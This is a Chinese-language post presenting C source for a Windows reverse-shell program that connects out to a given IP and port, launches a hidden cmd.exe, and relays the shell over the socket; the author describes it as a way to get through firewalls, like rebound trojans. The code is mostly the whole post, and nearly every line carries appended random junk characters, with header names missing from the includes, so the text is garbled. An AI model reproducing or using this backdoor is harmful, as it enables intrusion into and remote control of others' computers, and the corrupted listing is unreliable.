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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O7@CAr  
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/* ============================== ` nBCCz'Y!  
Rebound port in Windows NT n Q|4.e;  
By wind,2006/7 iVq4&X_x  
===============================*/ ").MU[q%Y  
#include m-f"EFmP  
#include A ?"(5da.  
GwiG..Y]&  
#pragma comment(lib,"wsock32.lib") HI/]s^aL  
R=M"g|U6  
void OutputShell(); 0kN;SSX!  
SOCKET sClient; a<X8l^Ln  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tX;00g;U.  
.G[y^w)w}  
void main(int argc,char **argv) o(xRq;i  
{ kp3(/`xP  
WSADATA stWsaData; _\E{T5  
int nRet; Gvo(iOU  
SOCKADDR_IN stSaiClient,stSaiServer; `5 py6,  
(]7*Kq  
if(argc != 3) 3wXmX  
{ ""Ul6hRgv  
printf("Useage:\n\rRebound DestIP DestPort\n"); EtN@ 6xP  
return; w:Ui_-4*>  
} 5,=Yi$x  
TR!^wB<F  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1);$#Dlt k  
RZ)sCR  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B5J!&suX  
QS2J271E}  
stSaiClient.sin_family = AF_INET; PfX{n5yBW8  
stSaiClient.sin_port = htons(0); hW*2Le!I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); DO<eBq\O  
VM{`CJ2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "=4`RM  
{ HZMs],GX  
printf("Bind Socket Failed!\n"); *]2LN$  
return; $>E\3npV  
} "bZV<;y6  
d q=>-^o  
stSaiServer.sin_family = AF_INET; l@` D;m  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MWf]U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l,uYp"F,ps  
eeIh }t>[  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x4v@Kk/  
{ N[ 4v6GS  
printf("Connect Error!"); }HS:3Dt  
return; ?]gZg[  
} Ke[doQ#c  
OutputShell(); .(o]d{ '-}  
} F\1nc"K/(  
 f])?Gw  
void OutputShell() 1lyJ;6i6L  
{ Z4FyuWc3  
char szBuff[1024]; b ABx' E  
SECURITY_ATTRIBUTES stSecurityAttributes; fs4pAB#F  
OSVERSIONINFO stOsversionInfo; "cjZ6^Hum  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Mr'}IX5  
STARTUPINFO stStartupInfo; 'G6TSl  
char *szShell; !mFo:nQ)}  
PROCESS_INFORMATION stProcessInformation; $,08y   
unsigned long lBytesRead; \V@SCA'  
:QgC Zq  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Mq) n=M  
R_h(Z{d  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \C.%S +u  
stSecurityAttributes.lpSecurityDescriptor = 0; 1A^iUC5)  
stSecurityAttributes.bInheritHandle = TRUE; A9PXu\%y  
q0WW^jwQ  
=/=x"q+X  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2{s ND  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J#Fe"  
}]vj"!?a  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }@yvw*c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KsYT3  
stStartupInfo.wShowWindow = SW_HIDE; QiWv  
stStartupInfo.hStdInput = hReadPipe; FtN1ZZ"<*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; []Cvma 1\  
6h>8^l  
GetVersionEx(&stOsversionInfo); \Ekez~k{`  
Qu]0BVIe  
switch(stOsversionInfo.dwPlatformId) 43rM?_72  
{ "FQh^+  
case 1: @_YEK3l]l  
szShell = "command.com"; zF /}s_><*  
break; [i[G" %Q  
default: vZ 4Z+;.  
szShell = "cmd.exe"; Y~1}B_  
break; O;[PEV ~  
} BEvSX|M>x  
)DMu`cD  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .G+}Kn9!  
%Hv$PsSJ  
send(sClient,szMsg,77,0); aM 0kV.O  
while(1) x6HebIR+  
{ nzy =0Ox[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); LoHWkNZ5:  
if(lBytesRead) uuj"Er31  
{ gT @YG;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IcL3.(!]l  
send(sClient,szBuff,lBytesRead,0); Wy#`*h,  
} AX**q$ 'R  
else Z{#^lhHx  
{ vVyO}Q`  
lBytesRead=recv(sClient,szBuff,1024,0); q" wi.&|  
if(lBytesRead<=0) break; !|_ CXm T|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MIa].S#  
} <0P`ct0,i  
} M)Rp+uQ  
hM\QqZFyp  
return; ~m!>e])P?X  
}
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